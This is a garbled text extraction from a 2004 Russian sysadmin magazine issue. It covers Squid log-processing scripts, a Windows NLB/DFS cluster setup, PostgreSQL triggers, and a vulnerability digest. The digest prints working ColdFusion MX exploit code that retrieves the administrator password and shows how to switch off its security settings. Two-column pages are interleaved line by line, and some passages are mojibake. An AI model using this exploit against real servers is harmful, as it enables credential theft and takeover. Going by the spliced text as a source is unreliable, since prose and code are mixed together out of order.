цировать данные. Я делаю это удалением домена и приве- # Thisi is a public software, distributed with BSD license.
дением всех логинов к формату myusername. Для этого # Externals: hosts = <list of hosts with trusted users>
# tusers = <list of trusted user logins, correspoding hosts)
мной была разработана пара скриптов на языках shell и awk, #
которые делают следующее: # When $8 is "-" and $2 == one of trusted hosts, instead
# of "-" sets trusted login, correspond this host
! Удаляют из лога строки TCP_DENIED/407, которые ге- # When $4 is "TCP_DENIED/407" skip this line (and f*ck MS IE!)
нерируются браузером Internet Explorer. # $Id: awksquid,v 1.11.4.2 2003/08/06 03:28:54 shelton Exp $
! Удаляют доменную часть имени пользователя, если оно BEGIN {
представлено в формате MYDOMAIN\myusername. split(hosts,harray)
split(tusers,tuarray)
! Если DNS-имя компьютера или его IP-адрес совпадает }
с DNS-именем или IP-адресом, указанным в файле до- {
веренных адресов, то в поле имени пользователя впи- if ($4 == "TCP_DENIED/407")
сывается имя, указанное в данном файле. (Если исполь- next
зуется как авторизация по регистрационному имени, так subind = index($8,"\\")
и авторизация по IP-адресу, то для обработки статисти- if (subind != 0)
ки некоторым IP-адресам жестко сопоставляется опре- {
деленное имя.) Формат файла доверенных адресов subname = substr($8,subind + 1)
printf("%s %6s %s %s %s %s %s %s %s %s\n", ↵
очень прост: по одной записи на строке DNS-имя или $1,$2,$3,$4,$5,$6,$7,subname,$9,$10)
IP-адрес компьютера и через пробел – имя пользовате- next
}
ля, которое будет подставляться. Например:
for (i = 1;harray[i] != "";i++)
{
192.168.1.1 alice if ($3 == harray[i])
192.168.1.2 bob {
if ($8 == "-")
Ниже приведен основной скрипт. Вариант, демонстри- {
руемый в данной статье, тестовый, практической ценности printf("%s %6s %s %s %s %s %s %s %s %s\n", ↵
$1,$2,$3,$4,$5,$6,$7,tuarray[i],$9,$10)
не имеет и приведен только для иллюстрации того, как об- break
рабатывать данные файла регистрационного журнала. }
}
}
#!/bin/sh
# This is a part of SquidCount package version 1.11.4 if (harray[i] == "")
# Daily squid proxy statistic maintenance print $0
# Written by CityCat 25.10.2001. Copyright Granch Ltd. (C) }
# This is a public software, distributed with a BSD license.
# $Id: squidcount,v 1.11.4.6 2004/07/21 12:53:02 shelton Exp $
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local ↵
Заключение
/bin:/usr/local/sbin В данной статье были рассмотрены несколько способов
авторизации пользователя домена Windows на прокси-сер-
trustlist="/usr/local/etc/sarg2/sargtrusted"
inlog="/var/log/squid/access.log" вере squid с использованием контроллера домена Windows.
Выбор конкретного способа зависит только от используе-
# Check on presence trusted hosts list
if [ -e $trustlist ]; then мой версии Samba и не зависит от типа контроллера доме-
hosts=`awk '{if ($1 == "#") nextline; else print $1}' ↵ на Windows (схема с авторизацией через Samba 2.х и хел-
< $trustlist`
tusers=`awk '{if ($1 == "#") nextline; else print $2}' ↵ перы Squid работала достаточно долгое время в домене
< $trustlist` Windows NT, потом совершенно незаметно была перенесе-
else
logger -i -p daemon.err -t sqcount ↵ на в домен Windows 2000). Samba 3.x мне кажется наибо-
Trust list empty, will skip prepare 1st stage... лее перспективным решением с наиболее простым вари-
hosts=""
tusers="" антом конфигурации.
fi

# When trusted host list is presented, replace according


# by them...
if [ ${#hosts} -ne 0 ]; then
Уважаемые читатели!
awk -f /usr/local/sbin/awksquid -v hosts="$hosts" ↵
-v tusers="$tusers" < $inlog > /tmp/tmpaccess.log Теперь вы можете приобретать новые и старые
else
cp $inlog /tmp/tmpaccess.log номера журнала через интернет-магазин
fi

Далее приведен скрипт чтения файла регистрационно-


го журнала, реализованный на языке awk. Это рабочий
скрипт, который я использую для расчета статистики заг- Стоимость 1 экземпляра – 140 рублей
рузки канала.
Доставка почтой БЕСПЛАТНО в любую точку России
#!/usr/bin/awk -f

№10(23), октябрь 2004 35


администрирование

ЧЕТЫРЕХУЗЛОВОЙ КЛАСТЕР
С БАЛАНСИРОВКОЙ НАГРУЗКИ
БЕЗ ВНЕШНЕГО МАССИВА ДАННЫХ

ГЕННАДИЙ ДМИТРИЕВ
Месяца 3-4 назад к нам на фирму за консультацией при- 80 Гб SATA/2xLAN Adapter. После некоторых раздумий было
шли сотрудники одной из крупных государственных орга- решено использовать службу Network Load Balancing для
низаций. Для тестовой лаборатории им необходимо было распределения нагрузки между узлами кластера, а синх-
собрать недорогой кластер под вывод информации для ронизацию данных между серверами настроить с помощью
пользователей через Internet Information Server (IIS). После службы Distributed File System. В качестве операционной
некоторых раздумий и консультаций с умными людьми мной системы достаточно выбрать Windows 2003 Server Standard
было найдено довольно оригинальное решение, о нем я и Edition, поскольку она поддерживает обе необходимые нам
буду сегодня рассказывать. службы.
О том, какие бывают кластеры, технологии, реализации Схема кластера представлена на рис. 1.
кластеров в этой статье, я писать не буду. В Интернете до-
статочно информации на эти темы. Здесь я опишу конкрет- 1-й этап. Подготовка серверов,
ную реализацию конкретной задачи. Надеюсь, она будет установка домена, создание DNS-зон
вам интересна. На первом этапе мы устанавливаем на все сервера, опера-
ционную систему, настраиваем сетевое окружение на сер-
Задача верах, поднимаем Active Directory. В принципе можно обой-
Для одного из учебных классов государственного пред- тись и без него, однако мне показалось, что единая авто-
приятия потребовалось создать кластер для работы с про- ризация на серверах удобнее, чем ведение учетных запи-
ектно-исследовательской информацией. Важным момен- сей на каждом из них.
том в данной реализации было то, что внешние клиенты ! Имеем 4 одинаковые машины с двумя сетевыми карта-
могли работать с данной документацией через самый про- ми в каждой.
стой IIS. В качестве узлов кластера были закуплены 4 ма- ! Ставим на все машины Windows 2003 Server (версия
шины достаточно простой конфигурации, P4-2.4 ГГц/512 Мб/ 2003-го сервера не имеет значения).

Ðèñóíîê 1

36
администрирование
! Настраиваем системы, исходя из таблицы:

! Для удобства переименуем название сетевых соедине-


ний, как Private и Public Cluster Connection, соответствен-
но для кластерного и общего соединений.
! На первом сервере NODE1 поднимаем Active Directory
«cluster.local». Все ставим по умолчанию.
! Проверяем DNS-записи серверов на основном контрол-
лере домена. Ðèñóíîê 3
! Удаляем зону «.». Поднимаем forward (обратную) зону ! На вкладке Port Rules можно указать, на какие порты IP
Active Directory Integrated. будет отзываться кластер. Здесь можно либо ограни-
! Включаем остальные машины в домен в качестве Stand чить отклик только на определенные порты вроде пор-
Alone Server. та сервера IIS, либо оставить по умолчанию и настро-
ить позже:
2-й этап. Поднятие NLB-кластера
На этом этапе мы настраиваем службу NLB (Network Load
Balancing). Вообще, честно говоря, эта служба имеет очень
отдаленное отношение к понятию кластеров. Но уж так сло-
жилось, что Microsoft назвала эту службу службой класте-
ра. Как говорится, Microsoft by Design.
Все операции по созданию такого кластера проводятся
на первом сервере с помощью оснастки «Network Load
Balancing Manager».
! Переходим на первый сервер. Запускаем NLB Manager.
! Правой кнопкой на «Network Load Balancing Clusters» →
Create New Cluster.
! В первом окне заполняем поля с адресом, маской под-
сети и названием кластера:

Ðèñóíîê 4
! На вкладке Connect выбираем первый сервер NODE1
и выбираем внешний интерфейс «Public Cluster
Connection», на котором будет «висеть» служба NLB.

Ðèñóíîê 2
! На вкладке Cluster IP Address (рис. 3) можно ввести до-
полнительные адреса кластера. Мы пропускаем этот
этап. Ðèñóíîê 5

№10(23), октябрь 2004 37


администрирование
! Все настройки первого узла в кластере можно свести в
таблицу:

! По окончании синхронизации данных получаем карти-


ну:

Ðèñóíîê 8

3-й этап. Настройка IIS,


настройка репликации данных
Третий этап по сути заключительный. На нем мы корректи-
руем настройки IIS на всех четырех серверах и поднимаем
репликацию содержимого IIS с первого узла в кластере на
остальные. Все операции выполняются на первом сервере
с помощью оснастки «Distributed File System Manager».
! Проверяем, чтобы на всех узлах был установлен IIS в
одинаковой конфигурации. Состав пакетов значения не
Ðèñóíîê 6 имеет, просто лучше, если на всех узлах будет одна кон-
! После создания кластера из одного узла и генерации фигурация.
самого кластера подключаем остальные 3 узла. ! На первом узле создаем директорию «C:\IIS».
! Правой кнопкой в NLB Manager на созданном класте- ! Запускаем DFS Manager (Distributed File System Mana-
ре → «Add new host for cluster». ger).
! В окошке «Connect» выбираем по очереди NODE2, ! На вкладке «Root Type» выбираем тип «Domain Root»:
NODE3, NODE4 и для каждого из узлов выбираем «Public
Cluster Connection».
! После всех процедур и генерации кластера в оснастке
NLB Manager добавятся остальные узлы. В этой же ос-
настке мы сможем изменять параметры кластера, па-
раметры узлов, как показано на рис. 7, 8.

Ðèñóíîê 9
! На вкладке «Host Domain»выбираем наш кластер
«cluster.local»:

Ðèñóíîê 7 Ðèñóíîê 10

38
администрирование
! На вкладке «Host Server» выбираем первый сервер
node1.cluster.local:

! После создания корневой директории определяем об-


щий доступ для каталога с содержимым IIS-сервера
«C:\Inetpub\wwwroot».
! В DFS Manager выбираем «New Link», вводим имя ссыл-
ки. В поле «Path to Target» выбираем директорию с со-
держимым IIS-сервера, предоставленную в общий дос-
туп, как показано на рисунке:

Ðèñóíîê 11
! На вкладке «Root Name» вводим имя корневого катало-
га:

Ðèñóíîê 14
! Остальные операции по созданию конечных ссылок мож-
но будет проводить в оснастке «Distributed File System
Manager»:

Ðèñóíîê 12
! На вкладке «Root Share» выбираем созданный нами
каталог «C:\IIS»:
Ðèñóíîê 15
! Далее необходимо создать ссылки на остальные сер-
вера кластера. Для этого на каждом из узлов предос-
тавляем в общий доступ каталоги с содержимым IIS-
сервера.
! Выбираем «New Target» и по очереди добавляем остав-
шиеся три узла:

Ðèñóíîê 13
! Все настройки корневого каталога можно свести в таб-
лицу: Ðèñóíîê 16

№10(23), октябрь 2004 39


администрирование
! После создания ссылки на второй узел нам будет пред-
ложено настроить репликацию между узлами кластера.
Соглашаемся, выбираем первый узел (рис. 17). В каче-
стве топологии репликации определяем ручной режим,
как показано на рис. 18.

Ðèñóíîê 20
! После создания всех ссылок необходимо определенное
Ðèñóíîê 17 время для предварительной синхронизации данных уз-
лов. Обычно это занимает около 20-30 минут. Далее
репликация данных будет проходить мгновенно, ну или
почти мгновенно (по внутренней сети кластера). Резуль-
таты наших настроек наблюдаем в DFS Manager:

Ðèñóíîê 21
! Хочется также упомянуть, что репликация данных меж-
ду серверами проходит от имени «System Account», по-
этому при создании общего доступа к каталогам содер-
жимого IIS-серверов достаточно прав на чтение. По
Ðèñóíîê 18 крайней мере, у меня данный режим работал без осо-
! Топологию время репликации мы можем изменить в лю- бых проблем.
бое время из оснастки «DFS Manager». Для репликации
данных с первого узла на оставшиеся выбираем руч- 4-й этап. Последние штрихи
ной режим, как показано на рис. 19, 20. Последним штрихом у нас будет создание DNS-записи со
ссылкой на внешний адрес кластера. Заходим в DNS
Manager и создаем запись CNAME → www.cluster.local →
cluster.cluster.local. Делаем это для того, чтобы при заходе
на ссылку www.cluster.local мы автоматически попадали на
внешний адрес кластера. В результате NLB будет разрули-
вать ситуацию с нагрузкой на узлы кластера, а DFS помо-
жет автоматически реплицировать данные с первого узла
на остальные. Вот вроде и все.

Заключение
Данный документ не является панацеей по созданию клас-
теров, он лишь отражает мой опыт в создании нестандарт-
ных систем. На некоторых рисунках вы видите только два
узла. Однако настройки остальных серверов идентичны и
не представляют особой сложности.
Хочется выразить глубокую благодарность за неоцени-
мую интеллектуальную помощь Андрееву Павлу, систем-
Ðèñóíîê 19 ному администратору Novavox.

40
bugtraq

Удаленный отказ в обслуживании


в RealNetworks Helix Universal Server
Раскрытие пароля администратора Программа: RealNetworks Helix Universal Server 9.0.4.958 и
в ColdFusion MX более ранние версии.
Программа: ColdFusion MX 6.1. Опасность: средняя.
Опасность: средняя. Описание: Удаленный пользователь может послать специ-
Описание: Уязвимость обнаружена в ColdFusion MX. Уда- ально сформированный HTTP POST-запрос с Content-
ленный авторизованный пользователь, способный созда- Length-заголовком, установленным к «-1», чтобы заставить
вать ColdFusion-шаблоны, которые содержат тэги Create целевой сервер использовать чрезмерное количество па-
Object и cfobject, может создать шаблон, чтобы получить мяти и ресурсов CPU. Для восстановления нормальной ра-
доступ к паролю администратора. Пример: боты требуется перезагрузка сервера.
URL производителя: http://service.real.com/help/faq/
<cfscript> security/security100704.html.
objFileWriter = CreateObject("java","java.io.FileWriter");
objByteArray = CreateObject("java", ↵ Решение: Установите обновленную версию сервера
"java.io.ByteArrayOutputStream"); (9.0.4.960).
objJavaC = CreateObject("java","sun.tools.javac.Main");
objString = CreateObject("java","java.lang.String");
objFile = CreateObject("java","java.io.File");
if (Server.Os.Name IS "Windows") { s = "\"; } else { s = "/"; }
Удаленный доступ к произвольным
strJavaSource = "#Server.ColdFusion.Rootdir##s ↵ файлам в Samba
#lib#s#SecurityExploit.java"; Программа: Samba 2.2 – 2.2.11, 3.0 – 3.0.5.
strCfusionJar = "#Server.ColdFusion.Rootdir##s ↵
#lib#s#cfusion.jar"; Опасность: средняя.
strNeoSecFile = "#Server.ColdFusion.Rootdir##s ↵ Описание: Удаленный пользователь может получить дос-
#lib#s#neo-security.xml";
strPasswdFile = "#Server.ColdFusion.Rootdir##s#lib#s ↵ туп к файлам, расположенным вне общедоступного пути.
#password.properties"; Уязвимость в проверке правильности входных данных
fileWriter = objFileWriter.init("#strJavaSource#",false);
fileWriter.write("import coldfusion.security. ↵ обнаружена в обработке MS-DOS-имен путей. Удаленный
SecurityManager;"); пользователь может эксплуатировать этот недостаток, что-
fileWriter.write("import java.io.File;");
fileWriter.write("public class SecurityExploit ↵ бы получить доступ к файлам на целевой системе, кото-
extends SecurityManager {"); рые расположены вне общедоступного пути, определенно-
fileWriter.write("public SecurityExploit(File arg0, ↵
File arg1) {"); го в smb.conf. Файлы могут быть просмотрены с привиле-
fileWriter.write("super(arg0, arg1); }"); гиями целевой учетной записи.
fileWriter.write("public boolean isAdminSecurityEnabled(){");
fileWriter.write("return false;}}"); URL производителя: http://www.samba.org.
fileWriter.flush(); Решение: Установите обновленную версию SAMBA (2.2.12):
fileWriter.close();
str = objString.init("-classpath,#strCfusionJar#, ↵ http://samba.org/samba/ftp/samba-2.2.12.tar.gz.
#strJavaSource#");
strArr = str.split(",");
byteArray = objByteArray.init(); Удаленное выполнение произвольного
compileObj =objJavaC.init(byteArray,str);
compileObj.compile(strArr);
кода в Microsoft Windows NT/2000/2003
obj = CreateObject("java","SecurityExploit"); Опасность: критическая.
file1 = objFile.init("#strNeoSecFile#"); Описание: Уязвимость обнаружена в Microsoft Windows NT/
file2 = objFile.init("#strPasswdFile#");
obj.init(file1,file2); 2000/2003. Удаленный пользователь может представить
obj.load(); специально обработанное, чрезмерно длинное сообщение,
</cfscript>
<cfscript> чтобы вызвать переполнение буфера в NNTP (Network News
// Get Administrator Password Transfer Protocol) компоненте. Успешная эксплуатация по-
strAdminPw = obj.getAdminPassword();
// Set Administrator Password зволяет выполнить произвольный код на целевой системе,
//obj.setAdminPassword("test123"); в которой используется NNTP.
// Turn off Sandbox Security
//obj.setSandboxSecurityEnabled(false); URL производителя: http://www.Microsoft.com.
// Turn off Administrator Login Решение: Установите соответствующее обновление.
//obj.setAdminSecurityEnabled(false);
// Turn off RDS Login
//obj.setRdsSecurityEnabled(false);
// Set RDS Password
Многочисленные переполнения
//obj.setRdsPassword("test123"); буфера в IBM DB2
// Turn off JVM Security Программа: DB2 8.1 Fixpak 7 и более ранние версии.
//obj.setJvmSecurityEnabled(false);
</cfscript> Опасность: высокая.
Описание: Обнаружено несколько переполнений буфера
URL производителя: http://www.macromedia.com. в IBM DB2 Universal Database. Удаленный атакующий мо-
Решение: Способов устранения обнаруженной уязвимос- жет выполнить произвольный код на уязвимой системе.
ти не существует в настоящее время. URL производителя: http://www.ibm.com.
Решение: Установите Fixpaсk 6a и 7a с сайта произво-
дителя: http://www.ibm.com/software/data/db2/udb/support/
downloadv8.htm.
Составил Александр Антипов

№10(23), октябрь 2004 41


администрирование

PostgreSQL: ФУНКЦИИ И ТРИГГЕРЫ

СЕРГЕЙ СУПРУНОВ
Система управления базами данных PostgreSQL обладает 5. Все «нештатные» ситуации (невозможность зарезерви-
очень мощными средствами, делающими возможным пе- ровать требуемое количество, аннулирование неопла-
ренос части так называемой бизнес-логики приложения со ченного заказа) должны отражаться в таблице предуп-
стороны клиента (по отношению к СУБД) на сторону серве- реждений.
ра. При этом сокращается, и порой существенно, трафик
между клиентом и сервером, упрощается сопровождение Операции выставления счетов, получения оплаты и т. д.
разработанного приложения (сервер один, а клиентов мо- для простоты возложим на менеджеров компании. Методы
жет быть много), повышается надежность в плане целост- их взаимодействия с базой данных рассматривать в дан-
ности данных, в ряде случаев становится проще и сам ал- ной статье не будем. Также не будем резервировать товар
горитм работы приложения. частично, если необходимого количества не оказалось –
Данная статья посвящена рассмотрению одного из наи- пусть этим тоже занимаются менеджеры. Для наглядности
более эффективных средств – триггеров. Все примеры те- алгоритм того, как должно вести себя наше приложение,
стировались на PostgreSQL 7.4.2, работающей на системе представлен на рис. 1.
FreeBSD 5.2. Итак, попытаемся решить сформулированные выше за-
Для примера разработаем функцию оформления зака- дачи без помощи «внешнего» сценария, по одному-един-
за в простом интернет-магазине, отличительной особенно- ственному запросу к СУБД.
стью которой будет максимально возможный перенос всей Структура БД для нашей задачи будет следующая:
логики на сторону СУБД. ! Таблица «Заказы», orders:
Итак, пользователь выбрал интересующий его товар и ! Идентификатор заказа, order_id, serial.
нажал ссылку «Купить». Далее необходимо: ! Информация о покупателе, customer, varchar.
1. Занести в БД информацию о поступлении заказа. ! Идентификатор товара, goods_id, numeric(3).
2. Проверить, есть ли необходимое количество товара на ! Количество единиц товара, count, numeric(2).
складе. ! Цена товара, по которой делается заказ, price,
3. Если есть – зарезервировать товар, уменьшив при этом numeric(7,2).
остаток на складе. Если необходимого количества на ! Дата заказа, date, date.
складе нет, то проверить, не находится ли в резерве нуж- ! Таблица «Товары», goods:
ный товар свыше 5 дней. Если такое имеется и количе- ! Идентификатор товара, goods_id, serial.
ство товара по просроченным заказам достаточно для ! Описание товара, goods, varchar.
исполнения текущего, то просроченные заказы нужно ан- ! Минимальный остаток на складе, rest, numeric(2).
нулировать, а товар резервировать для нового заказа. ! Таблица «Склад», warehouse:
4. При свободном остатке того или иного товара на скла- ! Идентификатор товара, goods_id, numeric(3).
де меньше определенного значения сформировать за- ! Количество, count, numeric(5).
пись в таблице предупреждений. ! Таблица «Резерв», reserved:

42
администрирование
!Идентификатор заказа, order_id, numeric(5). create table orders(order_id serial,
!Идентификатор товара, goods_id, numeric(3). customer varchar,
goods_id numeric(5),
!Зарезервированное количество, count, numeric(2). date date,
!Дата резервирования, date, date. count numeric(3),
price numeric(7,2));
! Таблица «Предупреждения», warnings: create table goods(goods_id serial,
! Дата и время записи, date_time, timestamp. goods varchar,
rest numeric(2));
! Содержание записи, messages, text. create table warehouse(goods_id numeric(5),
! Дочерняя таблица order_warnings. count numeric(5));
create table reserved(goods_id numeric(5),
! Идентификатор заказа, order_id, numeric(5). order_id numeric(5),
! Дочерняя таблица goods_warnings. count numeric(3),
date date);
! Идентификатор товара, goods_id, numeric(3). create table warnings(date date, message text);
create table order_warnings(order_id numeric(5))
inherits(warnings);
Поскольку предупреждения могут быть связаны как с create table goods_warnings(goods_id numeric(5))
заказом, так и с товаром, то для повышения наглядности inherits(warnings);
воспользуемся такой возможностью PostgreSQL, как насле- Далее, нам нужно убедиться, что процедурный язык PL/
дование таблиц. Родительская таблица warnings будет со- pgSQL доступен в созданной базе. Для этого выполните
держать все предупреждения, а дочерние order_warnings и следующую команду:
goods_warnings – дополнять ее идентификаторами соответ-
ствующего заказа или товара. select * from pg_language;
Для решения указанных задач, как нетрудно догадать-
ся, будем использовать триггеры. Напомню, что триггер – Если plpgsql в полученном результате отсутствует, то
это связь хранимой процедуры с одной (или несколькими) из командной оболочки вашей ОС выполните следующую
из операций модификации, выполняемых над таблицей команду:
(UPDATE, INSERT, DELETE), автоматически запускающая
эту процедуру (функцию) при получении соответствующе- $ createlang –U pgsql plpgsql eshop
го запроса. Нам понадобятся «базовый» триггер, выполня-
емый после операции добавления записи (INSERT) в таб- Опция –U задает пользователя – администратора БД,
лицу orders – для решения задач 1-3, и триггер на опера- от имени которого будет выполняться данная операция.
цию UPDATE таблицы warehouse для контроля обязатель- Поддержка языка может быть включена и из програм-
ных остатков (задача 4). Функцию записи предупреждений мы-клиента (например, psql) выполнением следующих двух
каждый из этих триггеров будет выполнять в соответствии команд:
со своей «зоной ответственности».
Итак, создадим базу данных eshop, в которой и будем create function plpgsql_call_handler()
returns language_handler
экспериментировать. В ней создаем структуру нашей БД: as ‘$libdir/plpgsql’, ‘plpgsql_call_handler’

Ðèñóíîê 1

№10(23), октябрь 2004 43


администрирование
language ‘c’; пись выглядит несколько коряво. Точка с запятой в конце
create trusted procedural language ‘plpgsql’ каждого описания обязательна. Переменная может быть
handler plpgsql_call_handler;
любого типа, который поддерживается в PostgreSQL. Кроме
Первая из них создает функцию-обработчик на базе того, существуют три специальных типа данных: RECORD,
библиотечной функции, вторая – собственно язык PL/pgSQL table%RECTYPE и table.field%TYPE. Первый описывает за-
на основе созданного выше обработчика. пись любой таблицы, второй – запись указанной таблицы
Если вы считаете, что процедурный язык будет нужен table, третий создает переменную такого же типа, как и тип
вам во всех (или большинстве) базах данных, то таким же указанного поля field таблицы table. Примеры использова-
образом его можно добавить в БД template1. В результате ния этих типов данных будут приведены ниже.
этого поддержка PL/pgSQL будет автоматически добав- В основной секции, заключенной в операторные скобки
ляться во все создаваемые впоследствии базы (при со- BEGIN-END, могут использоваться операторы присваива-
здании новой базы по умолчанию в нее переносятся все ния, математические операторы, ветвления, циклы, вызо-
объекты из БД template1, хотя шаблон может быть задан вы других функций. Кроме того, тело функции может со-
и явно, указанием параметра TEMPLATE в команде CREATE держать вложенные блоки, имеющие ту же структуру (т.е.
DATABASE). DECLARE-BEGIN-END). Видимость переменных распрост-
Сначала немного теории. Триггер связывает функцию с раняется на блок, в котором она описана, и на все вложен-
операцией модификации таблицы. Следовательно, чтобы ные блоки. Ниже конспективно перечислены основные опе-
было что связывать, мы должны создать триггерную функ- раторы языка PL/pgSQL, которые понадобятся нам в даль-
цию. Синтаксис функции на языке PL/pgSQL следующий: нейшем:
! Оператор присваивания :=. Такой же, как в языке Pascal.
create [or replace] function <èìÿ ôóíêöèè>(<àðãóìåíòû>) Сопоставляет переменную с некоторым значением или
returns <òèï âîçâðàòà> as ‘<òåëî ôóíêöèè>’
language ‘plpgsql’; результатом выражения.
! Оператор ветвления IF-ELSE-END IF. Знакомая всем с
Есть и другие опции. С ними можно ознакомиться в до- детства конструкция, позволяющая выполнить провер-
кументации, а сейчас они нам не интересны. Необязатель- ку некоторого условия и в зависимости от результата
ная фраза «or replace» позволяет перезапись функции при проверки перейти на выполнение того или иного блока
попытке создать другую с таким же именем (например, за- команд. Синтаксис:
писать исправленный вариант). Без этого ключевого слова
будет сгенерирована ошибка и потребуется сначала уда- If <óñëîâèå> then
<îïåðàòîðû;…>
лить существующую функцию и лишь затем записать на ее [else
место новую. <îïåðàòîðû;…>]
end if;
Скобки после имени функции обязательны, даже если
функция не имеет аргументов. Слово «returns» задает тип ! Оператор цикла FOR. Наиболее распространенный
возвращаемых функцией данных. Указание языка также цикл. Переменная цикла <var> – то самое исключение,
обязательно. В нашем случае это «plpgsql». когда переменная может не описываться в секции
Тело функции имеет следующую структуру: DECLARE. В этом случае зона ее видимости ограничи-
вается циклом. Синтаксис:
DECLARE
íåîáÿçàòåëüíûé ðàçäåë îïðåäåëåíèé For <var> in <start>..<stop> loop
BEGIN <òåëî öèêëà>
Îïåðàòîðû ôóíêöèè
END; End loop;

Последним оператором функции должен быть оператор Существует вариант этого цикла и для «прохода» по ре-
«return», возвращающий данные указанного выше типа, зультату выборки:
даже если выход из функции осуществляется раньше (на-
пример, в блоке проверки условия) и эта команда никогда For <row-var> in <select> loop
<òåëî öèêëà>
не получит управление. End loop;
Как и любой нормальный язык программирования, PL/
pgSQL позволяет оперировать переменными. Все перемен- В этом случае в переменную <row-var> последователь-
ные (за одним исключением, о котором будет упомянуто но подставляются строки из выборки, и тип этой пере-
ниже) должны быть описаны в разделе DELCARE, т.е. их менной должен быть либо <table>%rowtype, отражаю-
необходимо перечислить с указанием типа данных. В этом щий запись конкретной таблицы <table>, либо RECORD,
же разделе допускается и инициализация переменной на- описывающий обобщенную запись таблицы.
чальным значением с помощью ключевого слова DEFAULT.
Общий синтаксис описания следующий: С остальными операторами, а также со встроенными
функциями можно познакомиться в документации к языку
<ïåðåìåííàÿ> <òèï> [ DEFAULT <çíà÷åíèå>]; PL/pgSQL.
В качестве примера создадим обычную (не триггерную)
Вместо слова «DEFAULT» допускается использование функцию, которая занесет в таблицу test1 (позже мы ее
оператора присваивания «:=», но, на мой взгляд, такая за- удалим) N случайных чисел. Сейчас польза от этого исклю-

44
администрирование
чительно в виде примера, а в принципе таким образом мож- Запустите ее и убедитесь, что выполнение функции за-
но, например, заполнять базу для выполнения тестов. вершилось ошибкой «Table test1 not found.». Далее созда-
ем нужную таблицу и повторяем выполнение функции:
CREATE OR REPLACE FUNCTION inserter(int4)
RETURNS int4 AS create table test1 (rnd numeric);
'DECLARE select inserter(5);
N alias for $1;
Rand numeric default 0.5; select * from test1;
tmp varchar;
BEGIN Как видите, на этот раз все 5 записей послушно доба-
select tablename into tmp
from pg_tables вились. Причем добавить 500 000 записей будет столь же
where tablename = \'test1\'; просто. А теперь попробуйте посчитать трафик и число об-
if tmp is null then
raise exception \'Table test1 not found.\'; ращений к серверу баз данных, если эту задачу решать с
else помощью внешнего сценария на Perl, который будет выпол-
delete from test1;
end if; няться на другой машине… Пользуясь случаем, давайте за-
одно оценим скорость выполнения операций вставки и уда-
for i in 1..N loop
Rand := random(); ления (машина Cel466/64 Мб с полным «джентльменским
insert into test1 values(Rand); набором» – Apache, Squid, Sendmail; load average ~0.1):
end loop;
return 0;
END;'
LANGUAGE 'plpgsql’;

Этот несложный пример демонстрирует большое коли-


чество особенностей работы функций. Пройдемся по ним
по порядку.
Конструкция «alias for $N» в секции описаний позволя-
ет связать описываемую переменную с другой, описанной Третья команда помимо добавления пяти записей вклю-
ранее. В данном случае мы устанавливаем связь со стан- чала в себя удаление пятисот тысяч. Высокое время вы-
дартными переменными-параметрами. Так, $1 соответству- полнения 4-й и 5-й команд объясняются значительной сте-
ет первому параметру, $2 – второму и т. д. Для удобства пенью фрагментации БД после удаления, хотя видна тен-
работы передаваемый в функцию параметр мы связываем денция улучшать результат с каждым разом (оптимизатор-
с переменной N. то не дремлет). Ну и «полный вакуум» с опцией анализа в
При описании переменной Rand показано, как инициа- комментариях не нуждается («лучше день потерять, зато
лизировать переменную значением на стадии описания, потом за пять минут долететь»).
хотя в данном случае это и не нужно. Нужно указать еще одну особенность: PostgreSQL выпол-
Конструкция «select <список полей> into <список пе- няет кэширование функций, и при этом использует не имена
ременных> …» позволяет сохранять результат выборки в таблиц, а их OID (Object Identifier). В результате, если теперь
переменных для дальнейшего использования. Количество удалить таблицу test1, а потом создать ее повторно, то по-
переменных должно соответствовать количеству выбира- пытка выполнить функцию inserter завершится неудачей:
емых полей. В данном случае мы проверяем, есть ли в
ERROR: связь с OID 29481 не существует
нашей БД нужная нам таблица test1. Если она существу- CONTEXT: PL/pgSQL function "inserter" line 10 at SQL statement
ет, то в служебной таблице pg_tables для нее будет за-
пись. В противном случае переменная tmp получит псев- Чтобы восстановить работоспособность функции, ее
дозначение NULL. придется пересоздать, повторно выполнив команду «create
Также обратите внимание на необходимость экраниро- or replace function…».
вания всех кавычек, встречающихся в теле функции, по- Теперь несколько слов о триггерных функциях. От обыч-
скольку оно уже заключено в кавычки как параметр коман- ных они отличаются тем, что тип возврата у них должен быть
ды create function (в дальнейшем, приводя листинги функ- обязательно trigger:
ций, я для простоты чтения символы экранирования буду
опускать). create [or replace] function <èìÿ ôóíêöèè>(<àðãóìåíòû>)
returns trigger as ‘<òåëî ôóíêöèè>’
Далее проверяем, содержит ли переменная tmp какое- language ‘plpgsql’
нибудь значение, и если нет – генерируем исключение (ко-
манда «raise exception»), по которому наша функция ава- Соответственно команды return, встречающиеся в теле
рийно завершится. функции, должны возвращать данные именно этого типа,
Если же таблица test1 существует, то очищаем ее от который, по сути, является типом RECORD, то есть возвра-
старых значений (если таковые имеются) и приступаем к щает запись таблицы. Как правило, в качестве параметра
заполнению ее случайными числами, для генерации кото- возврата выступают специальные переменные NEW (новое
рых используется внутренняя функция random(), возвраща- значение модифицируемой записи) и OLD (старое значение),
ющая случайное число в диапазоне 0..1. которые передаются в триггерную функцию автоматически.
Выполнить функцию можно с помощью такого запроса: Вот мы и подошли к решению задачи, поставленной в
начале статьи. Нужные таблицы уже созданы. Заполним их
select inserter(5); некоторыми значениями:

№10(23), октябрь 2004 45


администрирование
insert into goods(goods, rest) values(‘Êëàâèàòóðà’, 15); меньшей скорости обработки этот тип рекомендуется за-
insert into goods(goods, rest) values(‘Ìûøü’, 25); действовать только там, где переменная будет применять-
insert into goods(goods, rest) values(‘Ìîíèòîð’, 5);
ся при обработке нескольких таблиц или невозможно ука-
insert into warehouse(goods_id, count) values(1, 30); зать конкретную таблицу.
insert into warehouse(goods_id, count) values(2, 30);
insert into warehouse(goods_id, count) values(3, 7); Аналогично переменная whcount описана с тем же ти-
пом, что и поле count таблицы warehouse. Конкретно в дан-
Далее создаем триггерную функцию, которая будет вы- ном примере это сделано исключительно в целях демонст-
полняться после вставки новой записи в таблицу orders рации такой возможности. Но в реальных проектах типы
(здесь приведено только тело функции): некоторых полей в базе могут меняться по тем или иным
соображениям (например, поле типа char, хранящее IP-ад-
DECLARE реса машин, может быть в будущем изменено на специ-
whcount warehouse.count%type;
rscount integer; альный тип inet), и использование привязки типа перемен-
rsorders integer; ных к типу поля позволит избежать внесения правок во все
row reserved%rowtype;
BEGIN разработанные функции.
--îïðåäåëÿåì êîëè÷åñòâî íà ñêëàäå И теперь создадим сам триггер, связывающий создан-
select count into whcount
